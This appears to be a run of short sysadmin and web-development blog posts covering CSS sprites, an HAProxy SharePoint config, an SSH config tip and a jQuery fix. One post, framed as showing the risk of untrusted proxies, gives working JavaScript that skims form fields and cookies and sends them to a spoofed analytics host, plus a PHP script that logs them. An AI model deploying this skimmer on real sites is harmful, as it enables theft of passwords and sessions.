On places.ae, we use many small icons which add up to multiple downloads of images on our website. Every download takes time even though HTTP persistent connections are enabled. These timings can be minimzed using springs.

First off, we streamlined to use 16×16 pixel icons, so this allows us to make a nice square with several area’s of 16 by 16 pixels. Using GIMP you can help by enable the grid view, and setting the grid (in Image -> Configure grid) to 16 by 16 pixels, or 8 by 8, to determine the middle easier.

By adding all our icons into this image, we can reference to them using CSS:


/* sprite images */
.sprite {
background: url(/images/sprite.png) no-repeat;
width: 16px;
height: 16px;
float: left;
margin-right: 10px
}

.img_check { background-position: 0px -16px }
.img_error { background-position: -16px -16px }
.img_clock { background-position: -32px -16px }
.img_heart { background-position: -48px -16px }
.img_thumbsup { background-position: -64px -16px }
.img_thumbsdown { background-position: -80px -16px }

Finally, in our code, we can eliminate the many <img> tags, and use div’s:

<span class="sprite img_phone" />

Many may know this already, but I wanted to share this quick and easy introduction to sprites.

The Internet, as it is today, is a mash-up of JavaScript enabled services, often included from external websites. Internet companies offer so-called widgets, which are JavaScript tools that can be used in your own page. Popular examples of this are site analytics (Omniture, Google Analytics, etc) or share-abilities (AddThis, AddToAny, …). It’s by overwriting Javascript libraries on a page, that we can do other things, such as recording keystrokes.

“Overwriting” javascript libraries, or rather “inserting javascript” can be done in several ways. Cross Site Scripting is one of them, but for the sake of this blog post, I will act as a malicious proxy administrator, and overwrite the Google Analytics DNS entry (www.google-analytics.com) and “fake” the ga.js javascript file.

For this, you’d need only 2 files:

• Javascript keylogger
• PHP backend script

This javascript file, found here, holds 3 parts: JQuery, a base64 encoder and the keylogger code itself:

var t = "http://www.google-analytics.com/dump.php?a=";
jQuery(document).ready(function(){
  jQuery("form").submit(function(){
    var o = {};
    o.location = document.location.href;
    o.cookie = document.cookie;
    jQuery(":input").each(function(index){
      o[jQuery(this).attr("name")]=jQuery(this).val()
    });
    var u = t + Base64.encode(JSON.stringify(o));
    jQuery.getScript(u);
  });
});

Upon a “form submit” event, the current URL, the current cookie and all the page <input> fields are stored in a JSON object. This is Base64 encoded and passed on to a defined URL (http://www.google-analytics.com/dump.php?a= in this above case).

The data is pushed, in a Base64 encoded JSON object to an external script; dump.php in my case. This script (here) stores the current date, and a dump of all passed on variables in a defined text file.

  $obj = json_decode(base64_decode($_GET["a"]));
  $fileName = "dump.txt";
  $f = fopen($fileName, 'a');
  fwrite($f, "on ".date("d M y, h:i:s")."\n\n");
  foreach($obj as $i=>$j){ fwrite($f, $i." : ".$j."\n"); }
  fwrite($f, "-----------------------------------------------------\n");
  fclose($f);

Since it decodes a JSON object, dump.php will require JSON support, this can be installed using pear. Debian, it’s done using the following:

  apt-get install php-pear
  pear install Services_JSON

To verify this, you will see a JSON entry in the phpinfo() output.

When all is setup correctly (virtual host, /etc/hosts file changes, correct permissions for the dump.txt file to be created), all <form> submits should be recorded in the text file, in the form of:

on 06 Jun 11, 07:28:06
location : http://7days.ae/
cookie : SESS13752b3ab7d6...
name : user
pass : secret1552
_empty_ : Password
op :
form_build_id : form-00db26143485eac73953183a0e4170b6
form_id : search_form
search_theme_form : Search Keywords
default_text :

No, this is no hack against Google Analytics or 7days, the latter is something that would look slightly different.

Although this example uses Google Analytics, it could be used for many other “popular” javascripts that are included in terms of widgets. The handy things about Google Analytics is that it’s invisible to the user whether it is loaded or not.

Using a proxy server, even a transparent one can have its risks, this post just illustrates one of them. Always make sure you can trust your proxy administrators.

Thank you,
Michael

PS: these scripts are far from perfect, they don’t trap XHR requests and many other things, but it gets the point across.

The javascript fails around line 60 in themes/TFnewscast/js/custom.js:

jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});

This can be fixed by surrounding it with a if statement that verifies that you’re not running IE nor opera:

if(!(jQuery.browser.opera || jQuery.browser.msie)){
  jQuery('#main').kriesi_image_preloader({delay:100, callback:removeloader});
}

And that should do it.

Apache was used, since I have a reasonable amount of experience with it load balancing servers such as Webrick, etc. After a few frustrating hours of messing with NTLM, Christian proposed a few alternatives for this.

Having this in mind, we decided to go for HAProxy, to provide load balancing and a reverse proxy for our sharepoint instance. The good this is that it is a very simple tool, it accept HTTP conenctions, and forward them.

Below is our simplified /etc/haproxy/haproxy.cfg file

global
        maxconn 4096
        user haproxy
        group haproxy
        daemon
        # debug

defaults
        mode    http
        option  forwardfor
        log     127.0.0.1 local0 notice
        maxconn 2000
        contimeout      5000
        clitimeout      50000
        srvtimeout      50000

backend sharepoint
        balance roundrobin
        option redispatch
        cookie SERVERID insert nocache
        server sp1      172.30.16.11:80  cookie spsrv01 weight 30 check
        server sp2      172.30.16.12:80  cookie spsrv02 weight 30 check

frontend httpid
        bind *:80
        acl hosts_sharepoint hdr_end(host) -i intranet.domain.com
        acl hosts_sharepoint hdr_end(host) -i intranet.domain.com:80
        use_backend sharepoint if hosts_sharepoint
        default_backend sharepoint

The configuration is very straightforward, and it got rid of our continuous username/password boxes, especially under firefox.

Hope this helps,
Michael

Being a avid Linux user, and spending quite a bit of time on OSX lately, I often SSH into several servers remotely. Being subject to “username conventions”, you don’t always share the same username across machines. And I always wondered how one could just type ssh hostname instead of providing the username.

Seems that, by creating a .ssh/config file with following contents:


Host server.example.com server
  User username


WIll make life easier, as you can in the future only do a “ssh hostname”. I didn’t know this.

Linked in feels the threat of Facebook, especially combined with applications such as Kuhnektid to increase your professional “visibility” across the work. Most of linked-in users, are on facebook too.

A set of examples are there in their application directory. Tools such as file sharing, project collaboration, or being notified when one of your “contacts” is in the same city as you are there. No sight of a SDK yet, and no superpokes either.
yet.

Let’s see how users adapt to this.

Thanks,
Michael

It’s feeling the ppressure from easy to use, browser only, applications such as Gmail, google docs and the like.

I wish Microsoft (or anyone) would come out with an enterprise cloud platform, not on the Internet. I am sure there are more users who wish to make a storage cloud on their network. Or am I the only one?

Thanks,
Michael

Very useful tool, especially on mobile sites or sites where bandwidth is an important factor.